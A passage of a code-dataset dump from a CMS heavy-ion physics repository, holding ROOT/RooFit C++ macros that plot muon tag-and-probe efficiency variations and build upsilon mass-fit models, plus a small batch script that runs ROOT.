\",\"lp\");\n } \n legend->Draw();\n\n //endcap pp: (0.8299*TMath::Erf((pt-1.2785)/1.8833))/(0.7810*TMath::Erf((pt-1.3609)/2.1231))\n cBarrel_pp->cd(2);\n endcap=1;\n TF1 *g2 = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ g2= new TF1(\"myFunk\",myNumerator,0,20,6);}\n j=0; // reset!\n g2->SetParameters(alpha_pp_fwdrap[j],mu_data_pp_fwdrap[j],sigma_data_pp_fwdrap[j],j,endcap,pbpb);\n g2->SetRange(3.5,20);\n if(!doOnlyNumerator){ g2->GetYaxis()->SetRangeUser(0.8,1.5); }\n else if(doOnlyNumerator){ g2->GetYaxis()->SetRangeUser(0.0,1.5); }\n g2->Draw();\n std::cout << \"NOMINAL pp fwdrap\" << std::endl; \n std::cout << alpha_pp_fwdrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_fwdrap[j] <<\"/\"<<sigma_data_pp_fwdrap[j]<<\")) / (0.7364*TMath::Erf((x-1.2149)/2.3352)) \"<<std::endl;\n\n //systematic variations on top\n j=0;\n TF1 *f21_pp = new TF1(\"Systematic variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ f21_pp= new TF1(\"myFunk\",myNumerator,0,20,6);}\n cout << j << endl;\n cout << endcap << endl;\n f21_pp->SetParameters(alpha_data_pp_fwdrap_syst[j],mu_data_pp_fwdrap_syst[j],sigma_data_pp_fwdrap_syst[j],j,endcap,pbpb);\n f21_pp->SetRange(3.5,20);//fwdrapidity pt limit >3.4 GeV\n if(!doOnlyNumerator){ f21_pp->GetYaxis()->SetRangeUser(0.8,1.5); }\n else if(doOnlyNumerator){ f21_pp->GetYaxis()->SetRangeUser(0.0,1.5); }\n f21_pp->SetLineColor(kBlack);\n f21_pp->Draw();\n std::cout << \"SYSTEMATICS pp fwdrap\" << std::endl; \n std::cout << alpha_data_pp_fwdrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_fwdrap_syst[j] <<\")/\"<<sigma_data_pp_fwdrap_syst[j]<<\") / (0.9576*TMath::Erf((x-1.7885)/2.6587))\"<<std::endl;\n std::cout << \"Systematic variations on the pp fwdrap\" << std::endl; \n for(j=1;j< 101;j++){\n f2b_pp = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ f2b_pp= new TF1(\"myFunk\",myNumerator,0,20,6);}\n // f2b_pp->SetRange(0,20);\n std::cout <<alpha_data_pp_fwdrap_syst[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_fwdrap_syst[j] <<\"/\"<<sigma_data_pp_fwdrap_syst[j]<<\")) / (0.9576*TMath::Erf((x-1.7883)/2.6583))\"<<std::endl;\n f2b_pp->SetParameters(alpha_data_pp_fwdrap_syst[j],mu_data_pp_fwdrap_syst[j],sigma_data_pp_fwdrap_syst[j],j,endcap,pbpb);\n f2b_pp->SetLineColor(kOrange+1);\n f2b_pp->Draw(\"same\");\n }\n\n\n std::cout << \"variations on the pp fwdrap\" << std::endl; \n for(j=1;j< 101;j++){\n //reminder:\n // p[0] is the normalisation;\n // p[1] is the mu_data;\n // p[2] is the sigma_data;\n // p[3] is the index in the array : 0 is the nominal case, 1-101 are the 100 variations.\n // p[4] is the Abs(eta) region : 0 is barrel, 1 is endcap muons.\n // p[5] is the collision type : 0 is pp, 1 is pp.\n ge = new TF1(\"Tag and Probe and variations\",myFunc,0,20,6);\n if (doOnlyNumerator){ ge= new TF1(\"myFunk\",myNumerator,0,20,6);}\n ge->SetRange(3.5,20);\n std::cout << alpha_pp_fwdrap[j] <<\"*TMath::Erf((x-\"<< mu_data_pp_fwdrap[j] <<\"/\"<<sigma_data_pp_fwdrap[j]<<\")) / (0.7364*TMath::Erf((x-1.2149)/2.3352))\"<<std::endl;\n // cout << f << endl;\n ge->SetParameters(alpha_pp_fwdrap[j],mu_data_pp_fwdrap[j],sigma_data_pp_fwdrap[j],j,endcap,pbpb);\n ge->SetLineColor(kAzure+1);\n ge->Draw(\"same\");\n }\n\n if (doOnlyNumerator){ f21_pp->GetYaxis()->SetTitle(\"#epsilon^{#mu}_{DATA}\"); }\n else{ f21_pp->GetYaxis()->SetTitle(\"Scale Factor\");}\n f21_pp->GetYaxis()->SetTitleOffset(1.3);\n f21_pp->GetXaxis()->SetTitle(\"Probe p_{T} [GeV/c]\");\n f21_pp->GetXaxis()->CenterTitle(kTRUE);\n f21_pp->GetXaxis()->SetTitleOffset(1.3);\n g2->Draw(\"same\");\n f21_pp->Draw(\"same\");\n TLegend *leg2 = new TLegend(0.2,0.66,0.9,0.88);\n leg2->SetTextSize(0.038);\n leg2->SetFillStyle(0);\n leg2->SetFillColor(0);\n leg2->SetBorderSize(0);\n leg2->SetTextFont(42);\n if(!doOnlyNumerator)\n { \n\tleg2->AddEntry(g2,\"pp 1.6 < |#eta^{#mu}| < 2.4 \",\"\");\n\tleg2->AddEntry(g2,\"Nominal T&P function \",\"lp\");\n\tleg2->AddEntry(ge,\"100 stat. variations\",\"lp\");\n\tleg2->AddEntry(f21_pp,\"Nominal function, 'new' settings \",\"lp\");\n\tleg2->AddEntry(f2b_pp,\"100 stat.+syst. variations \",\"lp\");\n\n }\n else{ \n leg2->AddEntry(g2,\"pp 1.6 < |#eta^{#mu}| < 2.4\",\"\");\n leg2->AddEntry(g2,\"#varepsilon^{DATA}_{#mu} \",\"lp\");\n leg2->AddEntry(ge,\"100 stat. variations \",\"lp\");\n leg2->AddEntry(f21_pp,\"Nominal function, 'new' settings \",\"lp\");\n leg2->AddEntry(f2b_pp,\"100 stat.+syst. variations \",\"lp\");\n }\n leg2->Draw();\n \n if(!doOnlyNumerator)\n { cBarrel_pp->SaveAs(\"~/Desktop/Grenelle/TNP_pp_100variations_newSettings_15-001.pdf\");}\n else{\t cBarrel_pp->SaveAs(\"~/Desktop/Grenelle/numerator_variations_pp_15-001.pdf\");}\n \n}\n\n" }, { "alpha_fraction": 0.5949820876121521, "alphanum_fraction": 0.6344085931777954, "avg_line_length": 24.363636016845703, "blob_id": "f1d39e311a8e01e18a2ac8ab9ffe6fbeb03e1317", "content_id": "1c69ed6fc8bd70e03dfa8a3f322aa755436668da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 279, "license_type": "no_license", "max_line_length": 108, "num_lines": 11, "path": "/acceptance_efficiency/runbatch.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# source /data_CMS/cms/chapon/root/bin/thisroot.sh\nsource /opt/exp_soft/llr/root/v6.06.00-el6-gcc48/etc/init.sh\n\ncd ${dirnamefull}\npwd\n\nroot -l -b -q ${macro}'(\"'${thefiles}'\",'$ns','${ispbpb}',2,'$binning','$imuidtrg','$ista')' 2>&1 >/dev/null\n\necho \"ok, I'm done\"\n" }, { "alpha_fraction": 0.5266427993774414, "alphanum_fraction": 0.5809814929962158, "avg_line_length": 36.0859375, "blob_id": "d840990f9f74e856f51b91a22b461d9f5fdf2d4d", "content_id": "3caefea3e4636d3f34efb3d51a5bf928c618ea1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9496, "license_type": "no_license", "max_line_length": 173, "num_lines": 256, "path": "/acceptance_efficiency/draw_variations.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"tnp_weight.h\"\n#include \"tnp_weight_statonly.h\"\n\nvoid draw_variations_muidtrg_pbpb(int ieta, bool plotAll, int stamode, bool statonly=false)\n{\n // ieta = 0 (0-0.9), 1 (0.9-1.6), 2 (1.6-2.1), 3 (2.1-2.4)\n // plotAll: plot 100 variations for muid+trg if true, plot only +1/-1 sigma if false\n // stamode: 0 -> no STA correction, 1 -> correct only variations (for plotAll=false), 2 -> correct nominal and variations\n // statonly: false -> stat+syst variations, true -> stat only variations\n\n const char* statonly_str = statonly ? \"_statonly\" : \"\";\n\n double eta;\n double ptmin = 0;\n if (ieta==0) {ptmin = 3.4; eta=0.3;}\n else if (ieta==1) {ptmin = 2.1; eta=1.2;}\n else if (ieta==2) {ptmin = 1.7; eta=1.9;}\n else {ptmin = 1.5; eta=2.3;}\n TCanvas *c1 = new TCanvas();\n TH1F *haxes = new TH1F(\"haxes\",\"haxes\",10,0,20);\n haxes->GetYaxis()->SetRangeUser(0.8,1.5);\n haxes->GetXaxis()->SetTitle(\"p_{T}\");\n haxes->GetYaxis()->SetTitle(\"Correction\");\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.55,0.5,0.9,0.83);\n tleg->SetFillStyle(0);\n tleg->SetFillColor(0);\n tleg->SetBorderSize(0);\n tleg->SetTextSize(0.035);\n if (ieta==0) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [0.0, 0.9]\");\n else if (ieta==1) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [0.9, 1.6]\");\n else if (ieta==2) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [1.6, 2.1]\");\n else tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [2.1, 2.4]\");\n\n int istart, istep;\n if (plotAll) {\n istart = 100; istep = -1;\n } else {\n istart = -2; istep = 1;\n }\n for (int i=istart; i*istep<=0; i += istep)\n {\n TF1 *func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_muidtrg_pbpb(x,%f,%i)\",statonly_str,eta,i),ptmin,20);\n if (stamode==2) func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_muidtrg_pbpb(x,%f,%i)*tnp_weight%s_sta_pbpb(x,%f,0)\",statonly_str,eta,i,statonly_str,eta),ptmin,20);\n if (i==0) func->SetLineColor(kRed);\n else func->SetLineColor(kBlack);\n func->Draw(\"same\");\n\n if (i==0) {\n if (stamode==2) tleg->AddEntry(func,\"nominal * STA\",\"l\");\n else tleg->AddEntry(func,\"nominal\",\"l\");\n } else if (abs(i)==1) {\n if (stamode==2) tleg->AddEntry(func,\"variation * STA\",\"l\");\n else tleg->AddEntry(func,\"variation\",\"l\");\n }\n }\n if (stamode==1 && !plotAll) {\n TF1 *func1 = new TF1(\"var1_0\",Form(\"tnp_weight%s_muidtrg_pbpb(x,%f,0)*tnp_weight%s_sta_pbpb(x,%f,0)\",statonly_str,eta,statonly_str,eta),ptmin,20);\n func1->SetLineColor(kBlue);\n func1->Draw(\"same\");\n tleg->AddEntry(func1,\"nominal * STA\", \"l\");\n TF1 *func2 = new TF1(\"var2_0\",Form(\"tnp_weight%s_muidtrg_pbpb(x,%f,0)/tnp_weight%s_sta_pbpb(x,%f,0)\",statonly_str,eta,statonly_str,eta),ptmin,20);\n func2->SetLineColor(kBlue);\n func2->Draw(\"same\");\n }\n\n tleg->Draw();\n\n TLatex *lt1 = new TLatex(); lt1->SetNDC();\n lt1->SetTextSize(0.05);\n lt1->DrawLatex(0.55,0.86,\"PbPb #sqrt{s_{NN}} = 2.76 TeV\");\n}\n\nvoid draw_variations_muidtrg_pp(int ieta, bool plotAll, double stamode, bool statonly=false)\n{\n // ieta = 0 (0-0.9), 1 (0.9-1.6), 2 (1.6-2.1), 3 (2.1-2.4)\n // plotAll: plot 100 variations for muid+trg if true, plot only +1/-1 sigma if false\n // stamode: 0 -> no STA correction, 1 -> correct only variations (for plotAll=false), 2 -> correct nominal and variations\n // statonly: false -> stat+syst variations, true -> stat only variations\n\n const char* statonly_str = statonly ? \"_statonly\" : \"\";\n\n double eta;\n double ptmin = 0;\n if (ieta==0) {ptmin = 3.4; eta=0.3;}\n else if (ieta==1) {ptmin = 2.1; eta=1.2;}\n else if (ieta==2) {ptmin = 1.7; eta=1.9;}\n else {ptmin = 1.5; eta=2.3;}\n TCanvas *c1 = new TCanvas();\n TH1F *haxes = new TH1F(\"haxes\",\"haxes\",10,0,20);\n haxes->GetYaxis()->SetRangeUser(0.8,1.5);\n haxes->GetXaxis()->SetTitle(\"p_{T}\");\n haxes->GetYaxis()->SetTitle(\"Correction\");\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.55,0.5,0.9,0.83);\n tleg->SetFillStyle(0);\n tleg->SetFillColor(0);\n tleg->SetBorderSize(0);\n tleg->SetTextSize(0.035);\n if (ieta==0) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [0.0, 0.9]\");\n else if (ieta==1) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [0.9, 1.6]\");\n else if (ieta==2) tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [1.6, 2.1]\");\n else tleg->SetHeader(\"MuId+Trg #eta^{#mu} #in [2.1, 2.4]\");\n\n int istart, istep;\n if (plotAll) {\n istart = 100; istep = -1;\n } else {\n istart = -2; istep = 1;\n }\n for (int i=istart; i*istep<=0; i += istep)\n {\n TF1 *func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_muidtrg_pp(x,%f,%i)\",statonly_str,eta,i),ptmin,20);\n if (stamode==2) func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_muidtrg_pp(x,%f,%i)*tnp_weight%s_sta_pp(x,%f,0)\",statonly_str,eta,i,statonly_str,eta),ptmin,20);\n if (i==0) func->SetLineColor(kRed);\n else func->SetLineColor(kBlack);\n func->Draw(\"same\");\n\n if (i==0) {\n if (stamode==2) tleg->AddEntry(func,\"nominal * STA\",\"l\");\n else tleg->AddEntry(func,\"nominal\",\"l\");\n } else if (abs(i)==1) {\n if (stamode==2) tleg->AddEntry(func,\"variation * STA\",\"l\");\n else tleg->AddEntry(func,\"variation\",\"l\");\n }\n }\n if (stamode==1 && !plotAll) {\n TF1 *func1 = new TF1(\"var1_0\",Form(\"tnp_weight%s_muidtrg_pp(x,%f,0)*tnp_weight%s_sta_pp(x,%f,0)\",statonly_str,eta,statonly_str,eta),ptmin,20);\n func1->SetLineColor(kBlue);\n func1->Draw(\"same\");\n tleg->AddEntry(func1,\"nominal * STA\", \"l\");\n TF1 *func2 = new TF1(\"var2_0\",Form(\"tnp_weight%s_muidtrg_pp(x,%f,0)/tnp_weight%s_sta_pp(x,%f,0)\",statonly_str,eta,statonly_str,eta),ptmin,20);\n func2->SetLineColor(kBlue);\n func2->Draw(\"same\");\n }\n\n tleg->Draw();\n\n TLatex *lt1 = new TLatex(); lt1->SetNDC();\n lt1->SetTextSize(0.05);\n lt1->DrawLatex(0.55,0.86,\"pp #sqrt{s} = 2.76 TeV\");\n}\n\nvoid draw_variations_sta_pbpb(int ieta, bool plotAll, bool statonly=false)\n{\n // ieta = 0 (0-1.6), 1 (1.6-2.4)\n // plotAll: plot 100 variations for muid+trg if true, plot only +1/-1 sigma if false\n // statonly: false -> stat+syst variations, true -> stat only variations\n\n const char* statonly_str = statonly ? \"_statonly\" : \"\";\n\n double eta;\n double ptmin = 0;\n if (ieta==0) {ptmin = 2.1; eta=0.3;}\n else {ptmin = 1.5; eta=2.3;}\n TCanvas *c1 = new TCanvas();\n TH1F *haxes = new TH1F(\"haxes\",\"haxes\",10,0,20);\n haxes->GetYaxis()->SetRangeUser(0.8,1.5);\n haxes->GetXaxis()->SetTitle(\"p_{T}\");\n haxes->GetYaxis()->SetTitle(\"Correction\");\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.55,0.5,0.9,0.83);\n tleg->SetFillStyle(0);\n tleg->SetFillColor(0);\n tleg->SetBorderSize(0);\n tleg->SetTextSize(0.035);\n if (ieta==0) tleg->SetHeader(\"STA #eta^{#mu} #in [0.0, 0.9]\");\n else if (ieta==1) tleg->SetHeader(\"STA #eta^{#mu} #in [0.9, 1.6]\");\n else if (ieta==2) tleg->SetHeader(\"STA #eta^{#mu} #in [1.6, 2.1]\");\n else tleg->SetHeader(\"STA #eta^{#mu} #in [2.1, 2.4]\");\n\n int istart, istep;\n if (plotAll) {\n istart = 100; istep = -1;\n } else {\n istart = -2; istep = 1;\n }\n for (int i=istart; i*istep<=0; i += istep)\n {\n TF1 *func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_sta_pbpb(x,%f,%i)\",statonly_str,eta,i),ptmin,20);\n if (i==0) func->SetLineColor(kRed);\n else func->SetLineColor(kBlack);\n func->Draw(\"same\");\n\n if (i==0) {\n tleg->AddEntry(func,\"nominal\",\"l\");\n } else if (abs(i)==1) {\n tleg->AddEntry(func,\"variation\",\"l\");\n }\n }\n\n tleg->Draw();\n\n TLatex *lt1 = new TLatex(); lt1->SetNDC();\n lt1->SetTextSize(0.05);\n lt1->DrawLatex(0.55,0.86,\"PbPb #sqrt{s_{NN}} = 2.76 TeV\");\n}\n\nvoid draw_variations_sta_pp(int ieta, bool plotAll, bool statonly=false)\n{\n // ieta = 0 (0-1.6), 1 (1.6-2.4)\n // plotAll: plot 100 variations for muid+trg if true, plot only +1/-1 sigma if false\n // statonly: false -> stat+syst variations, true -> stat only variations\n\n const char* statonly_str = statonly ? \"_statonly\" : \"\";\n\n double eta;\n double ptmin = 0;\n if (ieta==0) {ptmin = 2.1; eta=0.3;}\n else {ptmin = 1.5; eta=2.3;}\n TCanvas *c1 = new TCanvas();\n TH1F *haxes = new TH1F(\"haxes\",\"haxes\",10,0,20);\n haxes->GetYaxis()->SetRangeUser(0.8,1.5);\n haxes->GetXaxis()->SetTitle(\"p_{T}\");\n haxes->GetYaxis()->SetTitle(\"Correction\");\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.55,0.5,0.9,0.83);\n tleg->SetFillStyle(0);\n tleg->SetFillColor(0);\n tleg->SetBorderSize(0);\n tleg->SetTextSize(0.035);\n if (ieta==0) tleg->SetHeader(\"STA #eta^{#mu} #in [0.0, 0.9]\");\n else if (ieta==1) tleg->SetHeader(\"STA #eta^{#mu} #in [0.9, 1.6]\");\n else if (ieta==2) tleg->SetHeader(\"STA #eta^{#mu} #in [1.6, 2.1]\");\n else tleg->SetHeader(\"STA #eta^{#mu} #in [2.1, 2.4]\");\n\n int istart, istep;\n if (plotAll) {\n istart = 100; istep = -1;\n } else {\n istart = -2; istep = 1;\n }\n for (int i=istart; i*istep<=0; i += istep)\n {\n TF1 *func = new TF1(Form(\"var_%i\",i),Form(\"tnp_weight%s_sta_pp(x,%f,%i)\",statonly_str,eta,i),ptmin,20);\n if (i==0) func->SetLineColor(kRed);\n else func->SetLineColor(kBlack);\n func->Draw(\"same\");\n\n if (i==0) {\n tleg->AddEntry(func,\"nominal\",\"l\");\n } else if (abs(i)==1) {\n tleg->AddEntry(func,\"variation\",\"l\");\n }\n }\n\n tleg->Draw();\n\n TLatex *lt1 = new TLatex(); lt1->SetNDC();\n lt1->SetTextSize(0.05);\n lt1->DrawLatex(0.55,0.86,\"pp #sqrt{s} = 2.76 TeV\");\n}\n\n\n" }, { "alpha_fraction": 0.6959064602851868, "alphanum_fraction": 0.707602322101593, "avg_line_length": 41.75, "blob_id": "71eb2493cfc337afe46c8f60bde41e75c68bb436", "content_id": "fffe59e806a5e7f04723b10f1f0edbee3e5acb87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 342, "license_type": "no_license", "max_line_length": 102, "num_lines": 8, "path": "/acceptance_efficiency/doEff.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"dimueff.C\"\n\nvoid doEff(const char* filepath, int YS, bool ispbpb, int strategy, int binningYS, int var1, int var2)\n{\n // gROOT->LoadMacro(\"/home/llr/cms/chapon/data_CMS/upsilon/effs/dimueff.C+\");\n TChain *tch = new TChain(\"myTree\"); tch->Add(filepath);\n dimueff toto(tch); toto.Loop(YS,ispbpb,strategy,binningYS,var1,var2);\n}\n" }, { "alpha_fraction": 0.6117739677429199, "alphanum_fraction": 0.6430444717407227, "avg_line_length": 31.31779670715332, "blob_id": "a70827777d08f97ed350b35d4be9e09bead02add", "content_id": "6ae48591655192740f94049b31f88b3bcb32c5b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15254, "license_type": "no_license", "max_line_length": 107, "num_lines": 472, "path": "/upperlimit/upperlimit/functions.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"RooSimWSTool.h\"\n#include \"RooSimPdfBuilder.h\"\n#include \"RooAbsReal.h\"\n#include \"RooArgSet.h\"\n#include \"RooArgList.h\"\n#include \"RooRealVar.h\"\n#include \"RooConstVar.h\"\n#include \"RooCategory.h\"\n#include \"RooWorkspace.h\"\n#include \"RooFormulaVar.h\"\n#include \"RooCBShape.h\"\n#include \"RooChebychev.h\"\n#include \"RooAddPdf.h\"\n#include \"RooDataSet.h\"\n#include \"RooExtendPdf.h\"\n#include \"RooKeysPdf.h\"\n#include \"RooUniform.h\"\n#include \"RooSimultaneous.h\"\n#include \"RooGenericPdf.h\"\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/SimpleInterval.h\"\n#include \"TTree.h\"\n#include \"TFile.h\"\n\nfloat mmin = 7, mmax = 14.0;\nTString dirname_ = \"\";\nTString treeName = \"UpsilonTree_allsign\";\n/*Only for track rotation*/\nTString treeTrkRot = \"UpsilonTree_trkRot\";\n\nbool buildPdf(RooWorkspace &ws, bool hi, int bkgdModel = 3, bool TrkRotBkgd = 0) {\n\n\tdouble const M1S(9.460);\n\tdouble const M2S(10.023);\n\tdouble const M3S(10.355);\n\tRooRealVar * mass = ws.var(\"invariantMass\");\n\tif (!mass) {\n\t\tmass = new RooRealVar(\"invariantMass\", \"#mu#mu mass\", mmin, mmax, \n\t\t\t\t\"GeV/c^{2}\");\n\t}\n\t// mass->setRange(mmin,mmax);\n\tRooRealVar mean(\"mean\", \"mean\", M1S, M1S-0.3, M1S+0.3, \"GeV/c^{2}\");\n\n\tRooConstVar rat2(\"rat2\", \"rat2\", M2S/M1S);\n\tRooConstVar rat3(\"rat3\", \"rat3\", M3S/M1S);\n\n\tRooConstVar diff2(\"diff2\", \"diff2\", M2S-M1S);\n\tRooConstVar diff3(\"diff3\", \"diff3\", M3S-M1S);\n\tRooRealVar mscale(\"mscale\", \"mscale\", 1.0);\n\n\n\tRooFormulaVar mean1S(\"mean1S\", \"@0\", RooArgList(mean));\n\tRooFormulaVar mean2S(\"mean2S\", \"@0+@1*@2\", RooArgList(mean,diff2,mscale));\n\tRooFormulaVar mean3S(\"mean3S\", \"@0+@1*@2\", RooArgList(mean,diff3,mscale));\n\n\tRooRealVar sigma1(\"sigma1\", \"#sigma_{1}\", 0.092, 0.01, 0.3);\n\t//sigma1.setConstant();\n\tRooFormulaVar sigma1S(\"sigma1S\", \"@0\", RooArgList(sigma1));\n\tRooFormulaVar sigma2S(\"sigma2S\", \"@0*@1\", RooArgList(sigma1,rat2));\n\tRooFormulaVar sigma3S(\"sigma3S\", \"@0*@1\", RooArgList(sigma1,rat3));\n\n\tRooRealVar alpha(\"alpha\", \"#alpha\", 1.6, 0.1, 10.);\n\t//alpha.setConstant();\n\tRooRealVar npow(\"npow\", \"n_{CB}\", 2.3, 0.1, 10.);\n\tnpow.setConstant();\n\n\tRooCBShape sig1S(\"sig1S\", \"sig1S\", *mass, mean1S, sigma1S, alpha, npow);\n\tRooCBShape sig2S(\"sig2S\", \"sig2S\", *mass, mean2S, sigma2S, alpha, npow);\n\tRooCBShape sig3S(\"sig3S\", \"sig3S\", *mass, mean3S, sigma3S, alpha, npow);\n\n\tRooRealVar nsig1(\"nsig1\", \"N_{1S}\", 100, -1000, 1e5);\n\tRooRealVar f23(\"f23\", \"(2S+3S)/1S\", 0.5, 0, 1.3);\n\tf23.setConstant(false);\n\t//RooRealVar f2(\"f2\", \"2S/1S\", 0.2, 0, 1);\n\tRooRealVar f3o2(\"f3o2\", \"3S/2S\", 0.6, 0., 1.);\n\tf3o2.setConstant(false);\n\tRooRealVar x23(\"x23\", \"#chi_{23}\", 0.2, -1, 1);\n\tx23.setConstant(false);\n\tRooRealVar x3o2(\"x3o2\", \"#chi_{3o2}\", 0.3, -1, 1);\n\tx3o2.setConstant(false);\n\t//RooUniform prior(\"prior\",\"\",x23);\n\t//ws.import(prior, RooFit::Silence());\n\t\n\tRooFormulaVar *nsig2;\n\tRooFormulaVar *nsig3;\n\tif (!hi){\n\t\tnsig2 = new RooFormulaVar(\"nsig2\", \"@0*@1*(1/(1+@2))\", RooArgList(nsig1, f23, f3o2));\n\t\tnsig3 = new RooFormulaVar(\"nsig3\", \"@0*@1*(@2/(1+@2))\", RooArgList(nsig1, f23, f3o2));\n\t}\n\telse {\n\t\tnsig2 = new RooFormulaVar(\"nsig2\", \"@0*@1*@2*(1/(1+@3*@4))\", RooArgList(nsig1,f23,x23,f3o2,x3o2)); \n \tnsig3 = new RooFormulaVar(\"nsig3\", \"@0*@1*@2*(@3*@4/(1+@3*@4))\", RooArgList(nsig1,f23,x23,f3o2,x3o2));\n\t}\n\t\n\t// RooFormulaVar nsig2(\"nsig2\", \"@0*@1\", RooArgList(nsig1, f2));\n\t// RooFormulaVar nsig3(\"nsig3\", \"@0*(@1-@2)\", RooArgList(nsig1, f23, f2));\n\tRooRealVar turnOn(\"turnOn\",\"turnOn\", 6., 0., 20.);\n\t//turnOn.setConstant(false);\n\tRooRealVar width(\"width\",\"width\", 1., 0., 20.);\n\tRooRealVar decay(\"decay\",\"decay\", 7., 0., 10.);\n\t//decay.setConstant(false);\n\tRooGenericPdf bkgErfExp(\"bkgLikeSignPdf\",\"bkg\",\n\t\t\t\"exp(-@0/@3)*(TMath::Erf((@0-@1)/@2)+1)\",\n\t\t\tRooArgList(*mass, turnOn, width, decay));\n\n\tRooRealVar nbkg(\"nbkg\", \"N_{bkg}\", 5000., -1000., 1e6);\n\n\tRooRealVar bkg_a1(\"bkg_a1\", \"a_{1,bkg}\", 0., -2., 2.);\n\tRooRealVar bkg_a2(\"bkg_a2\", \"a_{2,bkg}\", 0., -2., 2.);\n\tRooChebychev bkgPoly(\"bkgPoly\", \"bkg\", *mass, \n\t\t\tRooArgList(bkg_a1, bkg_a2));\n\tRooRealVar * nLikeSign = 0;\n\tRooKeysPdf * LikeSignPdf = 0;\n\tRooFormulaVar * nPoly = 0;\n\n\tTString likeSignCut(\"(QQsign == QQsign::PlusMinus) && (dataCat == dataCat::\");\n\tif (bkgdModel == 1 || bkgdModel == 2) {\n\t\tif (TrkRotBkgd) likeSignCut += \"TrkRot)\";\n\t\telse \n\t\tlikeSignCut += (hi) ? \"hi)\" : \"pp)\";\n\t\tRooDataSet * likeSignData = \n\t\t\tdynamic_cast<RooDataSet*>(ws.data(\"data\")->reduce(likeSignCut));\n\n\t\tassert(likeSignData);\n\t\tLikeSignPdf = new RooKeysPdf(\"bkgLikeSignPdf\", \"bkgLikeSignPdf\", *mass, \n\t\t\t\t*likeSignData, RooKeysPdf::MirrorBoth, 1.4);\n\t\tnLikeSign = \n\t\t\tnew RooRealVar(\"nLikeSign\", \"nLikeSign\", \n\t\t\t\t\tlikeSignData->sumEntries(TString::Format(\"(%s>%0.1f)&&\"\n\t\t\t\t\t\t\t\"(%s<%0.1f)\",\n\t\t\t\t\t\t\tmass->GetName(),\n\t\t\t\t\t\t\tmmin, \n\t\t\t\t\t\t\tmass->GetName(),\n\t\t\t\t\t\t\tmmax)));\n\t\t\t//nLikeSign->setVal(9046);\n\t\tdelete likeSignData;\n\t\tstd::cout << \"like sign events: \" << nLikeSign->getVal() << '\\n';\n\t\tnPoly = new RooFormulaVar (\"nPoly\", \"nPoly\", \"@0-@1\",\n\t\t\t\tRooArgList(nbkg,*nLikeSign));\n\t\tRooAddPdf bkg(\"bkg\", \"bkg\", RooArgList(*LikeSignPdf, bkgPoly),\n\t\t\t\tRooArgList(*nLikeSign, *nPoly));\n\t}\n\n\telse if (bkgdModel == 6 || bkgdModel == 7) {\n if (TrkRotBkgd) likeSignCut += \"TrkRot)\";\n else \n\t\tlikeSignCut += (hi) ? \"hi)\" : \"pp)\";\n\t\tRooDataSet * likeSignData =\n\t\t\tdynamic_cast<RooDataSet*>(ws.data(\"data\")->reduce(likeSignCut));\n\n\t\tassert(likeSignData);\n\n\t\tbkgErfExp.fitTo(*likeSignData);\n turnOn.setConstant(true);\n width.setConstant(true);\n decay.setConstant(true);\n\n\t\tnLikeSign =\n\t\t\tnew RooRealVar(\"nLikeSign\", \"nLikeSign\",\n\t\t\t\t\tlikeSignData->sumEntries(TString::Format(\"(%s>%0.1f)&&\"\n\t\t\t\t\t\t\t\"(%s<%0.1f)\",\n\t\t\t\t\t\t\tmass->GetName(),\n\t\t\t\t\t\t\tmmin,\n\t\t\t\t\t\t\tmass->GetName(),\n\t\t\t\t\t\t\tmmax)));\n\t\t\t//nLikeSign->setVal(9046);\n\t\tdelete likeSignData;\n\t\tstd::cout << \"like sign events: \" << nLikeSign->getVal() << '\\n';\n\t\tnPoly = new RooFormulaVar (\"nPoly\", \"nPoly\", \"@0-@1\",\n\t\t\t\tRooArgList(nbkg,*nLikeSign));\n\t\tRooAddPdf bkg(\"bkg\", \"bkg\", RooArgList(bkgErfExp, bkgPoly),\n\t\t\t\tRooArgList(*nLikeSign, *nPoly));\n\t}\n\n\t// RooExtendPdf sig1SN(\"sig1SN\", \"sig1SN\", sig1SN, nsig1);\n\t// RooExtendPdf sig2SN(\"sig2SN\", \"sig2SN\", sig2SN, nsig2);\n\t// RooExtendPdf sig3SN(\"sig3SN\", \"sig3SN\", sig3SN, nsig3);\n\t// RooExtendPdf bkgN(\"bkgN\", \"bkgN\", bkgN, nbkg);\n\n\t// RooAddPdf pdf(\"pdf\", \"pdf\", RooArgList(sig1SN, sig2SN, sig3SN, bkgN));\n\tRooArgList pdfs(sig1S, sig2S, sig3S);\n\tRooArgList norms(nsig1, *nsig2, *nsig3);\n\tRooAddPdf sig(\"sig\", \"sig\", pdfs, 